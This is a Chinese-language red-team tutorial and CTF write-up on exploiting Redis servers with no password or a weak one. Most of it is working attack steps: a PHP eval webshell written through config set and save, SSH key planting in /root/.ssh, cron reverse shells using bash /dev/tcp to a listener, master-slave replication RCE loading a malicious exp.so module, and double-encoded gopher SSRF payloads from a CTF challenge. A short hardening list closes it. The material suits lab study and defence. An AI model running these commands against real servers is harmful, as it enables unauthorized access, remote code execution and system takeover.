Redis是目前最热门的非关系型数据库,在各大公司被大量应用且存在未授权访问以及弱口令漏洞,是我们在红队攻防领域值得研究的数据库之一。
0x01 Redis简介
Redis(Remote Dictionary Server)是一个由 Salvatore Sanfillppo 写的 key-value 存储系统。是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。通常被称为数据结构服务器,因为值(value)可以是字符串(string)、哈希(hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
Redis作为一个开源的高性能键值对数据库,是目前最热门的的非关系型数据库,默认端口是6379。它的优势也非常明显,最为突出的点就是性能极高,以下为 Redis 的特点及优点:
1、Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
2、Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
3、Redis能读的速度是110000次/s,写的速度是81000次/s 。
4、Redis支持二进制案例的 Strings, Lists, Hashes, Sets 及 Ordered Sets 数据类型操作。
5、Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
由于Redis在大公司被大量应用,在互联网上已经出现 Redis 未授权病毒进行自动攻击,攻击成功后会对内网进行扫描、控制、感染应用来挖矿、勒索等恶意行为。也存在安全大牛通过对 redis 感染 Linux 版本的勒索病毒相关分析
0x02 Redis安装
Redis安装配置
官方网站:https://redis.io/
我们可在官网下载 Redis
在 kali 中直接下载安装,也可以通过以下命令进行安装
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件redis.conf
如下:
# 备份redis配置
cp redis.conf redis.conf.bak
# 修改redis配置
redis.conf:
#bind 127.0.0.1 注释后表示任意机器都能登录
protected-mode = no 关闭安全配置
# 复制修改的配置到目标文件夹下
cp redis.conf ./src/redis.conf
# 启动redis服务
./src/redis-server redis.conf
添加环境变量
export PATH=/root/Desktop/redis-3.2.0/src:$PATH
查看6379端口是否已开放,如开放说明启动成功
netstat -ntlp
为了方便测试我搭建了两个测试环境,分别如下:
kali 2021: 192.168.15.131 + redis
CentOS 7 : 192.168.15.129 + redis
Redis连接
Linux下连接
Linux下主要分为交互式连接方式以及命令连接方式
redis-cli -h {host} -p {port}
redis-cli -h {host} -p {port} {command}
Windows下连接
下载地址:https://github.com/ServiceStack/redis-windows
选择对应版本下载即可
Redis基础用法
参考文章:
常见命令如下:
info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出
0x03 Redis渗透
Redis未授权访问
Redis未授权主要因为配置不当导致未授权访问漏洞,攻击者可以进一步将恶意数据写入内存或磁盘当中,造成更大危害,同时Redis也可以将内存中的数据写入磁盘当中。主要原因如下:
1、配置登录策略导致任意机器都可以登录redis
2、未设置密码或设置弱口令
测试靶机是否存在redis未授权访问漏洞
redis -h 192.168.15.131
redis > info
如果能够直接查看到配置信息,那么说明存在未授权访问漏洞;如果提示需要输入密码,可能是目标机器上设置了密码。在实际环境下可以使用 hydra 进行爆破,如果出现无法连接的情况可能是因为bind 127.0.0.1
未注释导致仅能通过本地访问或目标防火墙已开启。
Redis写webshell
写入webshell
config set dir /var/www/html/ //切换目录到网站根目录
set x "\n\n\n<?php phpinfo();?>\n\n\n" //将恶意代码写入内存中
set xx "\n\n\n<?php eval($_POST['mac']);?>\n\n\n" //将恶意代码写入内存中
config set dbfilename shell.php //在磁盘中生成木马文件
save //将内存中的数据导出到磁盘文件
检查webshell
在 kali 中可编辑端口配置文件修改默认端口号
vim /etc/apache2/ports.conf
开启 Apache 并在其目录发现木马shell.php
已存在
/etc/init.d/apache2 start
service apache2 start
访问木马地址http://192.168.15.131/shell.php
亦可使用蚁剑直接连接
Redis写ssh密钥登录ssh
开启ssh
在 kali 中开启 ssh 服务
/etc/init.d/ssh start
service ssh start
检查 ssh 是否已开启
netstat -ntlp
修改redis密码
# 登录redis
redis-cli -h 192.168.15.131
# 修改密码为macmac
config set requirepass macmac
redis-cli -h 192.168.15.131 -a macmac
也可以登录后使用auth命令进行认证
写入ssh密钥
首先生成 ssh 密钥
ssh-keygen -t rsa
将key导出,添加\n\n
防止乱码出现
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
将生成的公钥写入 redis 当中并查看公钥是否已写入
cat key.txt | redis-cli -h 192.168.15.131 -a macmac -x set xxx
# 查看是否写入
keys *
设置导出路径为 root 的.ssh
目录下(本质是更改redis的备份路径)
config set dir /root/.ssh
注:假如/root/.ssh
不存在,这里会显示失败,不会返回OK,可以创建.ssh文件夹来解决该问题
设置文件名为authorized_keys
并导出
config set dbfilename authorized_keys
save
登录ssh
ssh -i id_rsa root@192.168.15.131
知识补充
这时可能有不明白的小伙伴就会问了:为什么在.ssh目录下写入authorized_keys
就能登录目标的ssh呢?这是因为authorized_keys
主要作为授权文件,将任意主机的公钥添加至该文件中就可在任意主机下实现无密码连接。
利用计划任务反弹shell
首先在本地开启监听
nc -nvlp 5555
在交互式连接方式中写入反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.15.131/5555 0>&1\n" //其中*代表计划任务的时间
config set dir /var/spool/cron/ //设置导出路径
config set dbfilename root //设置导出文件名为root
save //保存
也可以直接通过命令连接方式写入反弹shell
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.15.131/5555 0>&1\n\n"|redis-cli -h 192.168.0.104 -x set 1
redis-cli -h 192.168.15.129 config set dir /var/spool/cron/
redis-cli -h 192.168.15.129 config set dbfilename root
redis-cli -h 192.168.15.129 save
保存后成功反弹shell
主从复制RCE
由于未授权的 Redis 通过写文件来完成 getshell,而在执行过程中会产生一个问题:Redis 保存的数据是简单的json、csv 格式文件,因此写入的文件含有大量的无用数据。
在以上利用 crontab、ssh key、webshell 这三种方式具有一定的容错性,同时 crontab、ssh 服务是服务器的标准命令和服务,因此很多情况下这种通过写文件的方式 getshell 是通杀的。但随着现代服务部署方式的不断发展,组件化成了不可逃避的大趋势。docker就是在该时代背景下的产物之一,在这种部署模式下,一个单一的容器中不会有除了 redis 以外的任何服务存在,包括 ssh 和 crontab,再加上权限的严格控制,所以单纯依靠写文件就很难getshell,在这种情况下我们就需要其他的利用手段。
Redis 在 4.x、5.x 版本中提供了主从模式,主从模式指的是使用单个 redis 为主机,而将其他 redis 作为从机,主机和从机的数据都是一样的,主机只负责写,从机只负责读。在 Redis 4.x 版本后,通过外部扩展可以实现一个新的 Redis 命令来构造恶意 .so 文件,在两个 Redis 实例中设置主从模式的时候,主机可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件即可执行命令。简单的说就是攻击者(主机)写一个 .so 文件,通过 FULLRESYNC 同步文件到受害者(从机)上。
主从复制工具下载
git clone https://github.com/n0b0dyCN/redis-rogue-server //未授权
git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //有密码
目标靶机不能开启保护模式,可通过-h
来查看帮助信息
后者相比前者多了一个认证过程
主从复制RCE
查看 redis 版本信息为 4.0.8
通过以下命令进行反弹
python3 redis_rogue_server.py -rhost 192.168.15.131 -lhost 192.168.15.129 -passwd macmac
成功进入后可选择shell,一共有两种方式,分别是交互模式以及反弹shell模式(需要设置本地本地IP和端口),我们选择交互模式
python -c "import pty;pty.spawn('/bin/bash')"
如果选择反弹模式,前提是在本地开启监听,反弹成功可使用 python 调出 bash
nc -nvlp 5555
Redis 3.x版本下使用问题
但是在 redis 3.x 下脚本Awsome-Redis-Rogue-Server
选择交互模式会一直报错,同时反弹模式无法反弹回shell
而redis-rogue-server
可使用反弹模式,但是无法使用交互模式
python3 redis-rogue-server.py --rhost 192.168.15.129 --lhost 192.168.15.131
本地Redis主从复制RCE
通过上一节的介绍我们对于主从复制有了一定的了解,目标机器的 redis 可被远程的其他机器登录,执行脚本在内存中写死一些命令,通过这些命令可执行系统命令。那么假如目标机器仅允许本地登陆时,该方法就不适用了。因此我们需要配合其他漏洞从目标本地登录 redis,同时手动执行脚本内写死的一些命令,命令将目标 redis 作为从机,将攻击机作为主机,攻击机会自动将 .so 文件同步给从机,从而实现对目标机器的远程命令执行。
主从复制工具下载
git clone https://github.com/n0b0dyCN/redis-rogue-server //未授权
git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //有密码
由于exp.so
自带 system 模块,我们需要将redis-rogue-server
中的exp.so
文件复制到Awsome-Redis-Rogue-Server
中
主从复制RCE
在本地监听9999端口
nc -nvlp 9999
在本地开启 redis 作为主机,为主从同步做准备
python3 redis_rogue_server.py -v -path exp.so
在从机上设置导出文件名并开启主从同步导入恶意so
redis > module list
redis > config set dir /tmp //一般情况下tmp目录具有写权限
redis > config set dbfilename exp.so //设置导出文件的名字
redis > slaveof 192.168.15.131 15000 //进行主从同步,将恶意的so文件导入tmp文件
加载恶意模块
redis > module load ./exp.so
redis > module list //主要看有没有system
执行反弹命令
redis > system.rev 192.168.15.131 9999
也可以直接运行系统命令
redis > system.exec "id"
关闭主从同步(在主机或从机上关闭都可)
redis > slaveof NO ONE
SSRF Redis反弹shell
网鼎杯2020玄武组SSRF题目
漏洞源码
index.php
<?php function check_inner_ip($url) {
$match_result = preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', $url);
if (!$match_result) {
die('url fomat error');
}
try {
$url_parse = parse_url($url);
}
catch(Exception $e) {
die('url fomat error');
return false;
}
$hostname = $url_parse['host'];
$ip = gethostbyname($hostname);
$int_ip = ip2long($ip);
return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 ||
}
function safe_request_url($url) {
if (check_inner_ip($url)) {
echo $url . ' is inner ip';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (!empty($url)) {
safe_request_url($url);
}
} else {
highlight_file(__FILE__);
} // Please visit hint.php locally.
?>
hint.php源码
string(1342) " <?php if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") {
highlight_file(__FILE__);
}
if (isset($_POST['file'])) {
file_put_contents($_POST['file'], "<?php echo 'redispass is root';exit();" . $_POST['file']);
}
将它们都放入 php 环境的站点中
主要思路
1、绕过条件判断
2、访问hint.php获取redis密码
3、利用ssrf、gopher协议打redis
4、redis主从漏洞反弹shell
实践测试
在 index.php 中发现存在本地条件判断绕过
return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 ||
直接在其后添加本地路径后发现 redis 密码为welcometowangdingbeissrfme6379
?url=http://0.0.0.0/hint.php
经过测试发现该 redis 数据库只允许本地登录,尝试通过本地主从复制的方式拿到目标权限
首先设置本地监听
nc -nvlp 6379
开启主服务器
python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.0.50
使用主从复制漏洞进行攻击首先需要设置目录并导出文件名
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dir /tmp/
quit
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename exp.so
slaveof 192.168.0.50 21000
quit
经过 url 双层编码后如下:
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.50%252021000%250d%250aquit
成功设置导出路径为tmp
成功设置导出文件名为exp.so
导入恶意模块exp.so
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
module load ./exp.so
quit
经过 url 双层编码后如下:
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit
执行恶意模块exp.so
进行主从交互
关闭主从交互
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
slaveof NO ONE
quit
经过 url 双层编码后如下:
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
导出数据库
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename dump.rdb
quit
经过 url 双层编码后如下:
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
需要注意的是每次操作应在监听处敲个空格
尝试反弹shell,在本地开启监听
nc -nvlp 6666
执行反弹shell
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
system.rev 192.168.0.50 6666
quit
经过 url 双层编码后如下:
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.0.50%25206666%250d%250aquit
成功收到反弹shell,能够正常交互
SSRF Redis反弹shell模拟环境
靶机地址:https://buuoj.cn/
除了暗月的靶机,在 buuoj 中也提供了该题目,感兴趣的同学可注册会员来做这题题目
同时需要有个小号创建一个攻击机来访问内网用于支撑 redis 主服务,通过root/123456
进行连接
借助工具
https://github.com/xmsec/redis-ssrf //主要应用于模拟redis服务,转换脚本
https://github.com/n0b0dyCN/redis-rogue-server //提供恶意exp
通过 sftp 将工具上传到服务器上
sftp -P 29197 root@node4.buuoj.cn
sftp > put -r 想要传的文件夹 服务器目标位置
发现 hint.php 文件并存在本地条件判断绕过
访问index.php?url=http://0.0.0.0/hint.php
,成功获取 redis 密码为root
在服务器上开启 redis 作为主服务器,需要将redis-rogue-server
中的exp.so
复制到redis-server
目录下
python rogue-server.py
将redis-ssrf
中的ssrf-redis.py
的 lhost 修改为服务器IP地址:172.16.174.216 ,端口不变默认为6666端口
添加密码为root,ip为0.0.0.0
运行python脚本并生成 payload
python3 ssrf-redis.py
将结果进行 url 二次编码
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A172.16.174.216%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25246%250D%250Awhoami%250D%250A%252A1%250D%250A%25244%250D%250Aquit
引入该 payload,但是执行失败
猜测可能是靶机无法连接的问题,于是切换到自己服务器下并重新设置
经过 url 二次编码后的 payload 如下:
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A1.117.58.131%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25246%250D%250Awhoami%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
成功返回命令
接下来修改命令为dir /
,但是rogue-server.py
起不来了,出现这个错误的原因是exp.so
没传完,需要使用rogue-server.py
来执行一个死循环,编写 shell 脚本如下:
while [ "1" = "1" ]
do
python rogue-server.py
done
执行后发现存在多个文件,在其中存在flag,同时将修改命令为cat /flag
成功拿到flag为flag{e3ac7c35-8639-40dc-b753-b48ca7fc5c89}
知识拓展
RESP协议
redis客户端与服务端通信,使用RESP(Redis Serialization Protocol,Redis序列化协议)进行通信,该协议是专门为redis设计的通信协议,也可以用于其他客户端-服务器通信的场景,RESP可以用于序列化不通过的数据类型。如整数、字符串、数组等,并且为错误提供专门的类型。客户端发送请求时,以字符串数组作为待执行命令的参数。redis服务器可根据不同的命令返回不同的数据类型。
支持的数据类型包括以下几种
1、简单字符串(simple strings)
2、错误数据(errors)
3、整数(integers)
4、批量字符串(bulk strings)
5、数组(Arrays)
其中*3
代表数组的长度为3,返回具体内容可能为(["set","name","Sn0w"])
,$4代表字符串的长度也就是Sn0w,0d0a即\r\n,代表结束符,+OK
表示服务端执行成功后返回的字符串
Gopher协议
在http出现之前,访问网页需要通过gopher协议进行访问,它支持get、post请求,被取代的一方面原因是收费,另一方面原因是它的结构没有html网页灵活。虽然这是一种古老的协议,但是许多服务都支持gopher来进行访问,在渗透测试中常用于攻击ftp、redis、telnet、smtp等服务,还可以利用redis来反弹shell。
gopher协议格式如下:
gopher://127.0.0.1:70+TCP/IP数据
它的默认端口为70,那么它是怎么实现数据传输的呢?gopher会将数据部分发送给对应的端口,这些数据可以使字符串,也可以是其他的数据请求包,包括get、post请求等,同时数据部分必须要经过url编码,之后才能正确解析。
curl和libcurl命令也支持gopher协议,如下
curl gopher://192.168.15.131/_*2
那么我们可以思考 gopher 语言如何生成呢?
在windows、linux中的转换规则稍有不同,windows在行尾使用CRLF(0d 0a)、Unix则只使用LF(0a),直接直接url编码即可,但是需要明确的是编码规则是url16进制编码
生成工具:https://github.com/tarunkant/Gopherus
0x04 Redis安全防护
1、绑定内网IP地址进行访问
2、通过requirepass来设置redis密码
3、开启保护模式,即protected-mode yes,默认开启
4、更改redis默认端口
5、为redis服务设置一个普通权限账号
以上设置完毕后,需要加载配置文件来启动redis。